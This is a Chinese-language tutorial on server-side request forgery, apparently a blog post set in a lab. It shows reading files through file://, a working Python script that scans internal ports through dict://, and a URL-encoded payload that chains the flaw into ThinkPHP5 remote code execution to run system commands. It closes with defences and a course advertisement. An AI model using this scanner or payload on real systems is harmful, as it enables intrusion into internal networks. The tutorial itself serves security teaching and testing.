SSRF服务器请求伪造

SSRF概述

  • 服务器请求伪造
    1、网站提供了其他服务器获取数据的请求
    2、没有对目标地址做过滤
    3、靶场:https://github.com/nikosdano/SSRF-Vulnerable-with-Curl

  • SSRF漏洞点
    1、所有传递URL参数的位置都可能存在SSRF漏洞
    2、远程加载图片、视频、通过分享链接等

漏洞利用

  • 设定:
    SSRF漏洞的服务器A为:192.168.83.144
    被攻击服务器B为:192.168.83.139

  • 获取目标服务器的真实IP

  • 读取目标服务器上的文件
    file协议(file://)

内网端口扫描
  • dict协议(dict://)
  • 通过访问http://192.168.83.144/SSRF/curl.php?path=dict://192.168.83.139:3306来探测服务器B的3306端口开放情况。

在这里插入图片描述

  • 发送请求后,迅速返回响应包。根据响应包内容,说明服务器B的3306端口时开启状态。
  • 如果,发送请求后,响应包有迟钝,响应包中无内容。说明端口未开启:
    在这里插入图片描述
  • 端口扫描脚本:
import requests
def port_scan(port):
    for i in range(1,port):
        try:
            req = requests.get('http://192.168.83.144/SSRF/curl.php?path=dict://192.168.83.139:{}'.format(i),timeout=3)
            if req.elapsed.total_seconds() < 1:	
                print(i,'is open!')
        except:
            pass
def main():
    port_scan(100)  #先扫描前100个端口
if __name__ == '__main__':
    main()

攻击内网的应用

  • http协议攻击thinkphp,ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
  • 通过有SSRF漏洞的服务器A192.168.83.144)攻击内网安装有ThinkPHP应用的服务器C
    • PS: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
      在这里插入图片描述
Payload:
http://192.168.83.144/SSRF/curl.php?path=http%3A%2F%2F192.168.83.129%3A8080%2Findex.php%3Fs%3D%2FIndex%2F%5Cthink%5Capp%2Finvokefunction%26function%3Dcall_user_func_array%26vars%5B0%5D%3Dsystem%26vars%5B1%5D%5B%5D%3Did
  • 利用关键的是支持哪些协议
    • PHP中存在curl扩展,支持的协议较多
    • Java中没有php的curl,主要使用http、file协议进行攻击

SSRF 防御

  • 过滤URL地址:设置URL白名单或禁止访问内网IP。
  • 过滤请求协议:禁用不必要的协议,仅允许httphttps请求。
  • 过滤返回信息:避免根据返回信息来判断服务器的状态。

SSRF与CSRF的对比

  • SSRF
    • 攻击者以目标服务器(有SSRF漏洞)为跳板,进一步攻击外网无法访问的内网服务器。
  • CSRF
    • 攻击者冒用用户的Cookie信息,伪造用户的身份发起请求。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF透Redis数据库,Redis客户端和服务器端怎么通信?通信报文是怎么样的?看这里就行。5、SSRF透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平和防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点和网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含Windows和Linux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式和加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞和题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值